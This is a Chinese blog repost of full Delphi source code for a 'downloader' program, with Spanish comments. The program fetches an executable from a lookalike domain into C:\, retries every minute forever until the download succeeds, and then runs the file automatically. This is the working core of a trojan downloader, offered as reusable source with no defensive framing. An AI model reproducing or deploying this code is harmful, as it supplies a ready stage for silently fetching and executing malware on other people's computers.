delphi 下载者源代码-木庄网络博客

本文整理自网络，侵删。
 program Download;

uses
Windows, Winsock, ShellApi;


function GetIpFromDns(HostName: string): string;
type
tAddr = array[0..100] of PInAddr;
pAddr = ^tAddr;
var
I: Integer;
WSA: TWSAData;
PHE: PHostEnt;
P: pAddr;
begin
Result := hostname;
WSAStartUp($101, WSA);
try
PHE := GetHostByName(pChar(HostName));
if (PHE <> nil) then
begin
P := pAddr(PHE^.h_addr_list);
I := 0;
while (P^[i] <> nil) do
begin
Result := (inet_nToa(P^[i]^));
Inc(I);
end;
end;
except
end;
WSACleanUp;
end;


procedure GetFile(CompleteURL, SaveToDirectory: string; Puerto: Integer = 80);
var
WSA: TWSAData;
DownloaderSocket: TSocket;
DownloaderAddr: TSockAddrIn;
SendBuffer: string;
SentBytes: Integer;
ReceiveBuffer: array[0..4096] of Char; //4Kbs buffer.
ReceivedBytes: Integer;
WrittenBytes: Dword;
HeaderPos: integer;
Header: string;
GotHeader: Boolean;
DownloadedFile: THandle;
DNS, RemoteFilePath, FileName: string;
i: integer;
begin
//Inicializar variables
SentBytes := 0;
GotHeader := False;
//Sacamos todos las variables de la URL:
//EJEMPLO: http://www.concienciasinfronteras.com/IMAGEN/abuela.jpg
DNS := Copy(CompleteURL, Pos('http://', CompleteURL) + 7, Length(CompleteURL));
//DNS = www.concienciasinfronteras.com/IMAGEN/abuela.jpg
RemoteFilePath := Copy(DNS, Pos('/', DNS), Length(DNS));
//RemoteFilePath = /IMAGEN/abuela.jpg
DNS := Copy(DNS, 1, Pos('/', DNS) - 1);
//DNS = www.concienciasinfronteras.com
i := Length(RemoteFilePath);
while (RemoteFilePath[i] <> '/') do
begin
FileName := RemoteFilePath[i] + FileName;
Dec(i);
end;
//FileName = abuela.jpg
//Inicializar Winsock 1.01
WSAStartup($101, WSA);
DownloaderSocket := Socket(AF_INET, SOCK_STREAM, 0);
DownloaderAddr.sin_family := AF_INET;
if (Puerto < 1) or (Puerto > 65535) then Puerto := 80;
DownloaderAddr.sin_port := htons(Puerto);
DownloaderAddr.sin_addr.S_addr := inet_addr(PChar(GetIPfromDNS(PChar(DNS))));
repeat
if Connect(DownloaderSocket, DownloaderAddr, sizeof(DownloaderAddr)) = 0 then
begin
//Enviamos la cabecera de petición de archivo
SendBuffer := 'GET ' + RemoteFilePath + ' HTTP/1.1' + #13#10 +
'Accept: */*' + #13#10 +
'Accept-Language: en-us;q=0.5' + #13#10 +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + #13#10 +
'Host: ' + DNS + #13#10 +
'Connection: close' + #13#10#13#10;
//Repetir hasta que se haya enviado la totalidad de toda la cabecera
repeat
SentBytes := Send(DownloaderSocket, SendBuffer[1 + SentBytes], Length(SendBuffer) - SentBytes, 0);
until SentBytes >= Length(SendBuffer);
//Ahora recibir el archivo...!
DownloadedFile := CreateFile(PChar(SaveToDirectory + FileName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer(DownloadedFile, 0, nil, FILE_END);
repeat //Empieza el Loop de recepción
ZeroMemory(@ReceiveBuffer, Sizeof(ReceiveBuffer));
ReceivedBytes := Recv(DownloaderSocket, ReceiveBuffer, Sizeof(ReceiveBuffer), 0);
if ReceivedBytes > 0 then //Si = 0 entonces significa que el sevidor HTTP se desconectó
begin
case GotHeader of
False:
begin
//La cabecera HTTP está separada por un Doble-Retorno de carro
HeaderPos := Pos(#13#10#13#10, string(ReceiveBuffer));
if HeaderPos > 0 then
begin //Escribe al archivo únicamente lo que hay DESPU&Eacute;S del a cabecera
WriteFile(DownloadedFile, ReceiveBuffer[HeaderPos + 3], ReceivedBytes - (HeaderPos + 3), WrittenBytes, nil);
SetLength(Header, HeaderPos);
Move(ReceiveBuffer[0], Header[1], HeaderPos + 3); //En la variable Header queda la cabecera, por si en un futuro se necesita
GotHeader := True;
end;
end;
else //Escribe al archivo todo lo que recibí
WriteFile(DownloadedFile, ReceiveBuffer, ReceivedBytes, WrittenBytes, nil);
end;
end;
until (ReceivedBytes <= 0); //Se termina el loop de "recepción" cuando el servidor se desconecta
CloseHandle(DownloadedFile);
CloseSocket(DownloaderSocket);
Break; //El archivo está bajado, así que salirse del loop de reintento de conexión
end;
Sleep(60000); //Intenta conectarse otra vez después de un minuto
until False; //Intenta infintas veces hasta que el archivo se haya bajado
WSACleanup();
//Ejecutarlo
ShellExecute(GetForegroundWindow, 'open', PChar(SaveToDirectory + FileName), '', '', SW_SHOWNORMAL);
end;

begin
GetFile('http://www.google.008.net/Test.exe', 'C:\');
end.
delphi 下载者源代码

相关推荐

评论
